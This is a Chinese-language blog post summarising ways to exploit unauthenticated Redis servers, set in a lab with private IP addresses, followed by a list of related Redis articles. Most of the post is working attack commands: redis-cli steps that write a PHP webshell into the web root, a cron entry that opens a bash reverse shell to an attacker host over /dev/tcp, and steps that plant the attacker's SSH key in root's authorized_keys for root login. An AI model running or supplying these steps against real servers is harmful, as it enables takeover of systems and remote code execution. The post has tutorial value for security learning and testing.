Redis未授权访问漏洞的利用总结

简介: Redis 默认情况下,会绑定在 0.0.0.0的6379端口上,如果没有设置相关的策略和安全配置,会将 Redis 服务直接暴露在公网上,在没有设置密码认证的情况下,会导致攻击者可以未授权访问 Redis服务读取、甚至是修改 Redis 的数据

Redis未授权访问漏洞简介:

Redis 默认情况下,会绑定在 0.0.0.0的6379端口上,如果没有设置相关的策略和安全配置,会将 Redis 服务直接暴露在公网上,在没有设置密码认证的情况下,会导致攻击者可以未授权访问 Redis服务读取、甚至是修改 Redis 的数据


配置、修改redis.conf:



protected-mode yes 改为no      #关闭redis保护模式bind 127.0.0.1 改为0.0.0.0   #服务器任意网卡地址都可访问redis


一、利用redis写webshell

在redis-cli中写入以下命令:


config set dir /var/www/html    # 网站目录
config set dbfilename redis.php    # shell文件名
set webshell "<一句话木马>"    # shell内容
save





然后看一下目录下是否生成了一个redis.php的文件



可以看到生成了,查看一下文件的内容


在浏览器中访问一下这个文件,成功解析,内容改成一句话木马,即可getshell



二、计划任务反弹shell:

①写入计划任务:

set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0<&1 2>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save



set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0<&1 2>&1\n"config set dir /var/spool/cron/config set dbfilename rootsave


②监听端口,接收反弹shell:



三、Redis 未授权访问配合SSH key利用

①首先在攻击机生成密匙:


ssh-keygen –t rsa


②生成的文件被保存在了上图的路径中,cd /root/.ssh/,并cat查看文件内容:


然后将公钥写入key.txt中:


(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt


④然后连接redis进行写入:

$ cat key.txt | redis-cli -h 192.168.136.133 -x set crackit
$ redis-cli -h 192.168.1.11  # 登陆未授权的redis服务器
$ config set dir /root/.ssh/
$ config set dbfilename "authorized_keys"
$ save





$ cat key.txt | redis-cli -h 192.168.136.133 -x set crackit$ redis-cli -h 192.168.1.11  # 登陆未授权的redis服务器$ config set dir /root/.ssh/$ config set dbfilename "authorized_keys"$ save


⑤然后去目标机看一下是否生成


⑥然后回到攻击机,利用自己的密钥进行ssh登录:


ssh –i  id_rsa root@192.168.136.133


本文只是对redis未授权做了一个简单的利用总结,如果文中有错误,欢迎指出,一起讨论,下篇文章将继续围绕redis进行阐述

目录
相关文章
|
缓存 NoSQL 网络安全
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
251 0
|
9月前
|
NoSQL Linux Redis
每天百万访问也不怕,Redis帮你搞定UV统计
本文介绍了使用Redis实现高性能UV统计系统的方法。Redis凭借其内存数据库特性,支持毫秒级响应和自动去重,非常适合高并发场景下的访客统计。核心思路是利用Redis的Set数据结构作为"每日签到墙",通过记录用户访问ID实现自动去重,并设置24小时过期时间。文章提供了Python代码示例,展示如何记录用户访问和获取当日UV统计数据,还可扩展实现多页面UV统计。相比传统数据库方案,Redis方案更加轻量高效,是中小型网站实现流量统计的理想选择。
692 0
|
NoSQL 编译器 Linux
【赵渝强老师】Redis的安装与访问
本文基于Redis 6.2版本,详细介绍了在CentOS 7 64位虚拟机环境中部署Redis的步骤。内容包括安装GCC编译器、创建安装目录、解压安装包、编译安装、配置文件修改、启动服务及验证等操作。视频讲解和相关图片帮助理解每一步骤。
248 0
|
安全 NoSQL 网络安全
漏洞检测与防御:Redis未授权访问漏洞复现
漏洞检测与防御:Redis未授权访问漏洞复现
1162 0
|
缓存 负载均衡 NoSQL
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
147 0
|
缓存 NoSQL 安全
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
324 0
|
缓存 NoSQL 网络安全
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
129 0
|
缓存 NoSQL Redis
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
138 0
|
缓存 NoSQL Redis
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
123 0
|
10月前
|
缓存 NoSQL 关系型数据库
美团面试:MySQL有1000w数据,redis只存20w的数据,如何做 缓存 设计?
美团面试:MySQL有1000w数据,redis只存20w的数据,如何做 缓存 设计?
美团面试:MySQL有1000w数据,redis只存20w的数据,如何做 缓存 设计?